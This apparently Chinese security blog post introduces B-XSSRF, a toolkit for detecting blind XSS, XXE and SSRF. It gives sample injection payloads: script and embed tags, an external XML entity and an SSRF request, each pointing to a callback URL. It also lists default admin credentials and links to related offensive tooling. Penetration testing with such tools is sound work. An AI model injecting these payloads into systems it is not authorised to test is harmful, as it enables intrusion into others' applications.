B-XSSRF：用于检测和跟踪Blind XSS，XXE和SSRF的工具包

目录表

B-XSSRF介绍

XSSRF是一个用于检测和跟踪Blind XSS，XXE和SSRF的工具包，基于php+mysql的WEB端程序，它拥有简洁漂亮的界面。

下载源码

git clone https://github.com/SpiderMate/B-XSSRF.git

1	git clone https://github.com/SpiderMate/B-XSSRF.git

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

1 2	<embed src="http://mysite.com/bxssrf/request.php"> <script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

<?xml version="1.0" ?>

<!DOCTYPE root [

<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;

<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

1	GET /testssrf.php=http://mysite.com/bxssrf/request.php

USER : admin@test.com
PASS : 123456

1 2	USER : admin@test.com PASS : 123456

标签：ssrf , XSS , xxe , 工具包原文连接：B-XSSRF：用于检测和跟踪Blind XSS，XXE和SSRF的工具包 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

CobaltStrike渗透神器AggressorScripts脚本收集项目 ArbitraryPHP - 后门姿势，任意PHP代码执行扩展